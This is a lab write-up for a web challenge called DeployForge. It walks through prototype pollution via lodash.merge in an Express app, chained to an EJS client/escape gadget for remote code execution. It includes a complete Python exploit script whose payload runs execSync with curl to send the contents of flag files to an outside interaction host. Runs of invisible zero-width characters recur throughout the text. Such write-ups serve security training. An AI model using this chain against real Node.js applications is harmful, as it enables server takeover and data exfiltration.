Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ejs_cache_bypass_via_pollution, ejs_client_escape_gadget_chain, honeypot_flag_identification, http_exfiltration_via_execsync_curl, prototype_pollution_via_lodash_merge, string_fromcharcode_quote_bypass

Summary

Walkthrough of the CUSTOM Web Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge. Task: Express.js deployment platform uses lodash.merge() to deep-merge user JSON settings into config, enabling prototype pollution. Solution: Polluted Object.prototype with EJS client+escape gadget (

Description

DeployForge is a deployment orchestration platform by ForgeStack Inc. It lets teams manage application deployments, environment configurations, and webhooks from a single dashboard. The platform features a settings panel where users can customize their workspace configuration via JSON, webhook integrations for deployment notifications, and API key management for CI/CD pipelines. Your goal is to find and exploit a vulnerability in the application that allows you to execute arbitrary commands on the server and retrieve the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js + EJS deployment management platform behind nginx/1.25.5. Users can update workspace settings via a JSON editor that deep-merges input using lodash.merge(). The goal is to achieve RCE and read the flag from the server.

Analysis

Reconnaissance

• Stack: Express.js + EJS templates + nginx/1.25.5
• Credentials: user@test.com / password123
• Key endpoints:
  • POST /login — authentication
  • PUT /api/settings — accepts JSON, deep-merges into config via lodash.merge()
  • GET / — Dashboard (EJS rendered)
  • GET /settings — Settings page with JSON editor
  • GET /settings/webhooks — Webhook management
  • POST /api/webhooks/:id/test — Test webhook (makes HTTP request) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot Detection

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden <div> elements — a honeypot designed to fool automated scanners and AI agents. This was identified and ignored.

Vulnerability Identification

Prototype Pollution via lodash.merge(): The PUT /api/settings endpoint uses lodash.merge() to deep-merge user-supplied JSON into the server config object. lodash.merge() does not filter __proto__ keys, allowing an attacker to pollute Object.prototype with arbitrary properties that propagate to all objects in the application. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

EJS Gadget Chain (client + escape)

Modern EJS (>= 3.1.7) blocks the classic outputFunctionName/localsName/destructuredLocals gadgets via JavaScript identifier validation. However, the client + escape gadget chain remains viable:

In EJS compile(), when opts.client is true:

 javascript read-only • copy allowed Copy
if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}

The escapeFn comes from opts.escape. When escape is a string, String.prototype.toString() returns the string itself, which gets injected raw into the compiled template source as executable JavaScript. The compiled template becomes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 javascript read-only • copy allowed Copy
escapeFn = escapeFn || (() => { RCE_CODE })()//;

The // comments out the trailing semicolon. The IIFE executes during template compilation.

Key Constraints

Solution

Step 1: Login Without Visiting Pages

Critical: do NOT visit any pages before pollution. EJS caches templates on first render — if a template is cached before pollution, cache=false won't help because the cache entry already exists.

 python read-only • copy allowed Copy
s = requests.Session()
r = s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)
assert r.status_code == 302

Step 2: Pollute Object.prototype via Settings API

Send a single PUT /api/settings request with __proto__ payload containing all three pollution keys: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

• cache: false — forces EJS to recompile templates on every render
• client: true — activates the code path that injects escapeFn.toString() into compiled source
• escape: "<IIFE payload>//" — the RCE payload injected as executable JavaScript

Step 3: Trigger Template Render

A simple GET / triggers EJS template compilation with the polluted options. The IIFE in the escape property executes during compilation, running execSync("curl ...") to exfiltrate the flag.

Step 4: Exfiltrate Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The execSync("curl http://interact/UUID/$(cat /flag*)") command reads the flag file and sends it as a URL path component to the interaction server. The flag appears in the request log as GET /FLAG{...}.

Full Exploit Script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
DeployForge — Prototype Pollution to RCE via Lodash Merge + EJS client/escape gadget
"""

import requests
import sys
import re
import urllib3
urllib3.disable_warnings()

if len(sys.argv) < 2:
    print("Usage: python3 exploit.py <TARGET_URL>")
    sys.exit(1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = sys.argv[1].rstrip("/")
uuid = TARGET.split("//")[1].split(".")[0]
INTERACT = f"http://interact/{uuid}"

def to_cc(st):
    """Convert string to String.fromCharCode() to avoid quote issues"""
    return 'String.fromCharCode(' + ','.join(str(ord(c)) for c in st) + ')'

s = requests.Session()
s.verify = False

# ── Step 1: Login (no page visits to avoid template caching!) ──
print("[1] Logging in...")
r = s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)
assert r.status_code == 302, f"Login failed: {r.status_code}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ── Step 2: Pollute Object.prototype ──
shell_cmd = f"curl {INTERACT}/$(cat /flag* /root/flag* 2>/dev/null | head -c 100)"

escape_payload = (
    '(()=>{'
    f'var cp=process.mainModule.require({to_cc("child_process")});'
    f'cp.execSync({to_cc(shell_cmd)});'
    'return function(s){return s;};'
    '})()//'
)

print(f"[2] Polluting prototype ({len(escape_payload)} chars)...")
r = s.put(f"{TARGET}/api/settings", json={
    "__proto__": {
        "cache": False,
        "client": True,
        "escape": escape_payload
    }
})
print(f"    Status: {r.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ── Step 3: Trigger template render → RCE ──
print("[3] Triggering template render...")
try:
    r = s.get(f"{TARGET}/", timeout=15)
    print(f"    GET /: {r.status_code}")
except Exception as e:
    print(f"    Error (expected): {e}")

print(f"\n[*] Check interaction server logs for flag!")
print(f"    URL: {INTERACT}")

Failed Approaches

1. outputFunctionName injection — blocked by EJS >= 3.1.7 JavaScript identifier validation
2. localsName / destructuredLocals injection — same identifier validation
3. Error-based exfiltration (throw Error) — Express production mode shows only "Internal Server Error"
4. http.get() with query params — async, flag data arrives as empty string before response completes
5. Writing to /app/public/ — read-only filesystem (EROFS)
6. NODE_OPTIONS pollution — no child_process.fork() trigger found in the application
7. Webhook URL command injection — URL processed by Node.js http module, not shell ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering ejs_cache_bypass_via_pollution, ejs_client_escape_gadget_chain, honeypot_flag_identification, http_exfiltration_via_execsync_curl, prototype_pollution_via_lodash_merge, string_fromcharcode_quote_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge • Difficulty: Medium